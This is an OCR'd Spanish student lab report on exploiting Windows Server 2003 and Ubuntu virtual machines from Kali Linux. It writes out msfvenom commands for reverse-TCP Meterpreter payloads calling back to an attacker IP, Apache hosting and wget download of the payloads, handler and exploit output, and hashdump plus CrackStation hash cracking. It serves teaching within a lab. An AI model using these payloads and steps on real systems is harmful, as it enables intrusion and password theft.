INFORME - PRACTICA DE EXPLOTACION WINDOWS 2003 Y UBUNTU CON KALI

LINUXY METASPLOIT

Johely Cordoba Valoyes

Estudiante de Ingenieria en Telecomunicaciones e informatica

Universidad Tecnoldgica de Chocé Diego Luis Cordoba

3-09 - 2025



INFORME - PRACTICA DE EXPLOTACION WINDOWS 2003 Y UBUNTU CON KALI

LINUXY METASPLOIT

Johely Cordoba Valoyes

Estudiante de Ingenieria en Telecomunicaciones e Informatica

Seguridad y auditoria de redes

Prof. Rafael Sandoval Morales

Universidad Tecnoldgica de Chocé Diego Luis Cérdoba

7-08-2025

2025, Johely Cordoba



Tabla de contenido
INFORME - PRACTICA DE EXPLOTACION WINDOWS 2003 Y UBUNTU CON

KALI LINUX'Y METASPLOIT

INFORME - PRACTICA DE EXPLOTACION WINDOWS 2003 Y UBUNTU CON

KALI LINUX Y METASPLOIT
TABLA DE ILUSTRACIONES
INTRODUCCION
ALCANCE
OBJETIVOS GENERALES
OBJETIVOS ESPECIFICOS

INFORME - PRACTICA DE EXPLOTACION WINDOWS 2003 Y UBUNTU CON

KALI LINUX'Y METASPLOIT
WINDOWS 2003
Comandos basicos en Meterpreter
UBUNTU
IDS / IPS (conceptos vistos en clase)
GLOSARIO

CONCLUSIONES

14

16

18

19

21



TABLA DE ILUSTRACIONES

[HUSEraCION 1: 1P ALACANTE ......eiveiviieieieeeeee ettt ees 9
HUSEraCiON 2 1P ALACAUA ........eiveiveiieeeeieieie ettt 10
[ustracion 3 creacion de PAYlOad .........ccoeieieieieiice e 10
[Hustracion 4 activar @PaChE2 ..........cocviieieeece e 11
[HUSLracion 5 apache2 STALUS .........ccccviieieiiieere ettt 11
[ustracion 6 set PAYLOAD windows/meterpreter/reverse_tep ......ccocveeeveveivereereerennnn, 12
[Hustracion 7 exploit WindOWS 2003.........c.coiiiiieiiiiiesieeeeeee e 12
[ustracion 8 http://10.10.2.4/SNellEXE.......ccoieiiiiiiiieieeeeee e, 13
HHUSErACION O SNEILEXE ...oveeeieie ettt 14
[ustracion 10 comandos de meterpreter para Windows 2003...........ccccoveerveeniieienieeniennnn, 15
[Hustracion 11 CracKStatioN.NeL .......cccviieiiiiee e 15
HUSErACION 12 1P UBUNTU ..ottt 16
1 TUES = Tol o] 0 TSP 16
L TUES = Tol o 1 SR PSOSSPRP 17
LTS = Tol o 1 TSP SS RSP 17
1 TUES = Tol o 1 RS PSRSPRP 17
1Ty = Tol o o APPSR 18

HTUSEFACHION L8 ..o ettt e e e e e e e ettt e e e e e e e e e eeens 18



INTRODUCCION
La seguridad informatica constituye un eje fundamental en la administracion de sistemas y redes.
El avance de las amenazas cibernéticas ha obligado a las organizaciones a fortalecer sus
mecanismos de defensa, pero también ha generado la necesidad de comprender coémo actdan los
atacantes. En este contexto, el uso de laboratorios controlados permite a los estudiantes y

profesionales practicar técnicas ofensivas con fines educativos y de investigacion.

En el presente trabajo se realizaron dos escenarios de explotacion: el primero contra un sistema
Windows Server 2003 y el segundo contra una maquina Ubuntu, ambos desde la distribucion
Kali Linux. Se utilizaron herramientas como Metasploit Framework y msfvenom para generar y

ejecutar payloads que permitieron establecer sesiones remotas con Meterpreter.

Esta préctica permite comprender y aplicar conceptos fundamentales de redes, seguridad
informatica y hacking ético, reforzando el uso de herramientas de auditoria y simulando un

escenario real de ataque, siempre dentro de un entorno controlado y con fines académicos.



ALCANCE
El presente informe abarca Unicamente la explotacion de dos sistemas en un entorno de
laboratorio: Windows Server 2003 y Ubuntu. Se limita a la generacién de payloads, su ejecucion
en las maquinas victimas y el establecimiento de sesiones con Meterpreter para manipular
informacidn y procesos. El alcance no incluye la explotacion de sistemas en produccion ni la
ejecucion de ataques fuera de un ambiente académico controlado. Tampoco se pretende realizar
un analisis exhaustivo de todas las vulnerabilidades existentes, sino demostrar de forma practica
cdémo un atacante puede obtener acceso remoto aprovechando malas practicas de seguridad,

como la ejecucion de binarios sin verificar su origen.



OBJETIVOS GENERALES
Ejecutar practicas de explotacion controlada contra maquinas Windows Server 2003 y
Ubuntu desde Kali Linux desde Oracle VirtualBox, aplicando herramientas de pruebas de
penetracién, con el fin de comprender las fases de un ataque y reflexionar sobre la importancia

de la seguridad defensiva en sistemas operativos.



OBJETIVOS ESPECIFICOS
Configurar el entorno de laboratorio en maquinas virtuales para simular un ataque

real en condiciones controladas.

Generar payloads maliciosos adaptados a los sistemas operativos Windows y

Linux.

Ejecutar los payloads y establecer conexiones remotas mediante sesiones de

Meterpreter.

Manipular archivos y procesos en los sistemas comprometidos para demostrar el

alcance del control.

Documentar cada accion con su finalidad y relacionarla con escenarios de

seguridad reales.

Identificar los mecanismos defensivos que podrian haber prevenido o mitigado el

ataque.



INFORME - PRACTICA DE EXPLOTACION WINDOWS 2003 Y UBUNTU CON KALI
LINUXY METASPLOIT
WINDOWS 2003
1.Preparacion del entorno
El primer paso consistio en identificar las direcciones IP de ambos sistemas, ya que esto
permitia configurar correctamente la comunicacion entre ellos:
e Kali Linux (atacante).
e Windows Server 2003 (victima).
Verificar las direcciones IP de ambas:

En Kali: ip a

— )-[~]

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 10.10.2.4 netmask 255.255.255.0 broadcast 10.10.2.255
inet6 fe80::a00:27ff:feee:7e83 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:ee:7e:83 txqueuelen 1000 (Ethernet)

RX packets 50 bytes 9070 (8.8 KiB)

RX errors @ dropped @ overruns @ frame @

TX packets 26 bytes 3276 (3.1 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

lustracion 1: Ip atacante

En Windows: ipconfig
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Documents and Settings“Admninistrador JOHELY-LQJP?U3IN>ipconfig

onfiguracion I[P de Windows

idaptador Ethernet Conexidn de area local:

Sufijo conexidn especifica DHS:

Direccian IP. . . . . . . . . = 18.18.2_.7
Mascara de subred . . . . . . = 255_.255.255.8
Puerta de enlace predet.. . . = 18_.16.2_1

Documents and Settings“Administrador JOHELY-LQJPIUIN>_

lustracion 2 Ip atacada

2. Crear el payload malicioso con msfvenom

Posteriormente, en Kali se generd un archivo malicioso con la herramienta msfvenom,
indicando como parametros la direccion IP del atacante y un puerto de escucha. El resultado fue
un ejecutable llamado shell.exe, el cual se guard6 en la carpeta de Apache para que pudiera ser
descargado facilmente desde el navegador de la victima.

En Kali:

Fvar S we Fhital
windows meterpreter/reverse _top LHOST=10.10.2.4 LPORT=4444 e Sear/ wea  html /shell.exe

fo:Module :: Platfore ;: Windows from the payload
from the payload

llustracion 3 creacion de payload

LHOST: direccion IP de Kali.
LPORT: puerto de escucha (ej: 4444).
-f exe: genera archivo ejecutable de Windows.

> [var/www/html/shell.exe: guarda el archivo directamente en la carpeta web de Apache.

3. Activar servidor Apache en Kali
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Esto permite compartir el archivo shell.exe con la victima. Una vez generado el archivo,
se levantd el servicio web de Apache en Kali y se verifico que el archivo estuviera disponible en
el directorio /var/www/html.

sudo service apache2 start

)~ [ /var/ww /html |
= apache2 start

[sudo] contrasena para kali:

lustracion 4 activar apache2

sudo service apache?2 status

Svar/ wwi/htal
status

llustracion 5 apache2 status

4. Configurar Metasploit Handler

Paralelamente, en Metasploit se configur6 un modulo handler para escuchar conexiones
entrantes. En este mddulo se definid el mismo payload utilizado en la creacion del ejecutable,
junto con la direccién IP y el puerto configurados previamente. En Kali, abrimos Metasploit:

set PAYLOAD windows/meterpreter/reverse_tcp



Exploit target
Name

lustracion 6 set PAYLOAD windows/meterpreter/reverse_tcp

(El handler queda esperando que la victima ejecute el archivo malicioso).

msf6 exploit( ) > set rhosts 10.10.2.7
rhosts = 10.10.2.7

msf6 exploit( ) > use

Usage: use <name|term|index>

Interact with a module by name or search term/index.
If a module name is not found, it will be treated as a search term.
An index from the previous search results can be selected if desired.

Examples:
use exploit/windows/smb/msl7_010_ eternalblue

use eternalblue
use <name|index>

search eternalblue
use <name|index>

msf6 exploit( ) > exploit

Started reverse TCP handler on 10.10.2.4:4444

10.10.2.7:445 - Automatically detecting the target ...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.16/1i
b/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+’
and '?' was replaced with '#*' in regular expression

10.10.2.7:445 - Fingerprint: Windows 2003 - Service Pack 1 - lang:Unknown

10.10.2.7:445 - We could not detect the language pack, defaulting to Engl

10.10.2.7:445 - Selected Target: Windows 2003 SP1 English (NX)

10.10.2.7:445 - Attempting to trigger the vulnerability ...

Sending stage (177734 bytes) to 10.10.2.7

Meterpreter session 1 opened (10.10.2.4:4444 — 10.10.2.7:1028) at 2025-0
9-01 15:55:55 -0500

lustracion 7 exploit windows 2003
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5. Descargar y ejecutar payload en Windows

En el servidor Windows 2003, utilizando el navegador Internet Explorer, se accedio a la
direccion del atacante y se descargoé el archivo shell.exe. Al ejecutarlo, automaticamente se
establecio una sesion de Meterpreter en Kali, lo que confirmd la correcta ejecucion del ataque.
Desde este momento se tuvo control remoto sobre la maquina victima, pudiendo ejecutar
distintos comandos. En Windows (victima):

Abrir el navegador Internet Explorer.

Acceder a la direccion de Kali para descargar el archivo:

http://10.10.2.4/shell.exe

5 3 La configuracion de seguridad mejorada de Interne ;IQIEI

; archivo  Edicion Wer  Faworitos  Herramientas  Awuda 11.’

) firds + 6 - (2] [2] @ | - Blsqueda - Faworitos £ | >t o

| Direceidn Iihttp:,l',l'l[l.lIJ.Z."r,I'shell.exe| ~| B | vincuos ¥
[

lHustracion 8 http://10.10.2.4/shell.exe

Guardar el archivo en el escritorio o en C:\.

Ejecutar el archivo shell.exe.



L=IE
Archivo Edicién Wer Favoritos Herramientas Ayuda ‘ .','

& atras - &) - 5 i | - Biisqueda  Carpetas | > 3 X i) | -

|| Direccion [« c:\ = &
Mombre =~ | Tamafio | Tipo | Fecha de mod
() Archivos de programa Carpeta de archivos 01/09/2025 1t
[)Documents and Settings Carpeta de archivos 01/09/2025 1
L) WINDOWS Carpeta de archivos 01/09/2025 1t
_Jwmpub Carpeta de archivos 21/o0sf2025 1

shell.exe 73KB  Aplicacion 01/09/2025 2

ql I LI

llustracion 9 shell.exe

En este momento, en Kali (donde esta el multi/handler), se abrira una sesion de

Meterpreter.

Comandos basicos en Meterpreter
Sysinfo: Muestra informacion del sistema
Getuid: Usuario actual
Getsystem: Intenta escalar privilegios a SYSTEM
Hashdump: Extrae los hashes de contrasefias de Windows
Ps: Lista de procesos

migrate PID: Migrar el payload a otro proceso (ej: explorer.exe)

14
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llustracion 10 comandos de meterpreter para windows 2003

7.Cracking de contrasefias

Si se ejecutd hashdump y se obtuvieron hashes de Windows:
Copiar los hashes.

Pegarlos en Crackstation.net para intentar descifrarlos.

« c 2% crackstation.net B @
92 @ Gmal € Youlube @ Maps By Traduci

y |
Seguridad de hash de contra:

Descifrador de hash de contrasefia gratuito

Ingrese hasta 20 hashes sin sal, uno por linea:

el7c5alled77Radbfcace®@e29a371al

. No soy un robot

Compatible con: LM, NTLM, md2, md4, md5, mdS(md5_hex), mdS-half, shal, sha224, sha256, sha3gd, shaS12, ripeMD160, whirlpool, MySQL 4.1+ (shal(shal_bin}},
Qubesy3, 1BackupDefaults

Picadillo Tipo Resultado
e27c5al2ed770adbfcaced8e29a371al [[wrm [[3ohery

Codigos de color: W8 coincidencia exacta, Amarillo: coincidencia parcial, [l no encontrado.

Descargar la lista de palabras de CrackStation

Como funciona CrackStation

llustracion 11 Crackstation.net
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UBUNTU
1.Primero se comprueba la conectividad y la arquitectura de la victima. En Kali se

verifica la IP con ip a y desde la VM Ubuntu se comprueba la propia IP y la arquitectura.

-5 ip a
<LOOPBACK,UP, LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group default qlen 1080
link/loopback brd
inet /8 scope host lo
valid_1ft forever preferred_lft forever
inet6 /128 scope host noprefixroute
valid_1ft forever preferred_lft forever
<BROADCAST ,MULTICAST,UP,LOWER UP> mtu 1500 gdisc fg_codel state group default glen 1000
link/ether brd
altname enx080027dd7b2a
inet /24 brd scope global dynamic noprefixroute enp@s3
valid_1ft 527sec preferred_lft 527sec
ineté6 /64 scope link proto kernel_11
valid_1ft forever preferred_lft forever
:-$ uname /nm
: extra operand ‘/nm’
y 'uname --help' for more information.
:-$ uname -nm
buntu x86_64
:-$ ping 10.10.2.4
PING 10.10.2.4 (10.10.2.4) 56(84) bytes of data.
64 bytes from 10.10.2 icmp_seq=1 ttl=64 time=0
64 bytes from 10.10.2.4: icmp_seq=2 ttl=64 time=0
64 bytes from 10.10.2.4: icmp_seq=3 ttl=64 time=0
hC
- 10.10.2.4 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2007ms
rtt min/avg/max/miev = 0.436/0.605/0.792/0.145 ms
:~5

lustracion 12 ip ubuntu

2. En Kali se genera el payload adaptado a la arquitectura detectada. Si la victima es 64-
bit, se usa el payload Linux x64; si es 32-bit se usa x86. Por ejemplo (cambia 10.10.2.4 por la IP

de tu Kali y 4444 por el puerto que uses)

)-[/var/wwi/html ]
enom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.2.4 LPORT=4444 -f elf /var/ww/html/shell.elf

[-] No platform was selected, choosing Msf ::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 130 bytes

Final size of elf file: 250 bytes

)-[/var/wwi/html ]
hmod +x /var/ww/html/shell.elf

[sudo] contrasena para kali:

llustracion 13

3. Se prepara el servidor para distribuir el payload. Si usas Apache en Kali colocaste el

archivo en /var/www/html/ (como en el comando anterior); asegurate de que Apache este activo.
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disabled)

)-[/var/ww/html]
http://127.0.0.1/shell.elf

HTTP/1.1 200 OK

Date: Wed, 03 Sep 2025 13:57:29 GMT

Server: Apache/2 (Debian)
Last-Modified: Wed, 03 Sep 2025 13:54:46 GMT
ETag: "fa-63de5f28a5d68"

Accept-Ranges: bytes

Content-Length: 250

llustracién 15

4. En Kali se configura el handler en Metasploit para escuchar la conexion inversa que la

victima va a abrir.

Payload options (generi
Na
LHOST % 1 g (an interface may be specified)
LPORT 4444 The listen p
loit target:

Id Name

e: LHOST.

llustracion 16
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5. En la maquina Ubuntu (victima) se descarga el binario desde Kali y se ejecuta. Desde

la terminal de Ubuntu.

;-5 wget http://10.10.2.4/shell.elf
--2025-09-04 12:57:34-- http://10.10.2.4/shell.elf
Connecting to 10.10.2.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194
Saving to: “shell.elf’

shell.elf 100% . 194 --.-KB/s
2025-09-04 12:57:34 (10.3 MB/s) - ‘shell.elf’ saved [194/194]

:~S5 chmod +x shell.elf
1§ ./shell.elf

llustracion 17

6. Al obtener la sesién Meterpreter, se realizan las acciones de reconocimiento y manejo

de archivos.

14 -0500

.loc

Pictur
ubl
plate

llustracion 18

7. Ocultar evidencia

IDS / IPS (conceptos vistos en clase)

IDS (Intrusion Detection System): detecta ataques y genera alertas.



IPS (Intrusion Prevention System): bloquea ataques en tiempo real.

GLOSARIO
e Pentesting: también conocido como prueba de penetracion, es un proceso de
seguridad que simula ataques cibernéticos para identificar vulnerabilidades en

sistemas, redes o aplicaciones.

19
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VirtualBox: Software de virtualizacion que permite crear y ejecutar maquinas
virtuales dentro de un sistema anfitrion, simulando hardware para instalar y

utilizar diferentes sistemas operativos.

Kali Linux: Distribucion de GNU/Linux especializada en pruebas de penetracion

y auditoria de seguridad.

Metasploit Framework: Plataforma utilizada para desarrollar, probar y ejecutar

exploits contra sistemas remotos.

msfvenom: Herramienta incluida en Metasploit para generar payloads en distintos

formatos.

Payload: Cddigo malicioso que se ejecuta en el sistema victima para establecer

una conexion o realizar una accion especifica.

Meterpreter: Intérprete avanzado que se ejecuta en la memoria de la maquina

victima y permite al atacante interactuar con ella.

Reverse TCP: Técnica en la cual la maquina victima inicia una conexion hacia el

atacante, facilitando eludir firewalls.



e Apache2: Servidor web utilizado en Kali Linux para alojar y distribuir archivos

hacia las maquinas victimas.

CONCLUSIONES
La practica demostro que tanto Windows como Linux son susceptibles a ataques cuando no se
aplican medidas basicas de seguridad. La explotacion realizada permitié comprender como un

atacante prepara su entorno, genera el payload, logra la ejecucion en la victima y mantiene el

21
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control remoto mediante sesiones de Meterpreter. Aunque los entornos de laboratorio se
realizaron con fines académicos, los resultados reflejan riesgos reales a los que se enfrentan las
organizaciones en su operacion diaria.

Es fundamental promover una cultura de ciberseguridad que incluya el uso de antivirus,
firewalls, actualizaciones constantes y, sobre todo, concientizacion de los usuarios para evitar la
ejecucion de archivos de origen desconocido. En conclusion, esta experiencia practica reafirma
que el conocimiento de las técnicas ofensivas es indispensable para disefiar y aplicar estrategias

defensivas efectivas.
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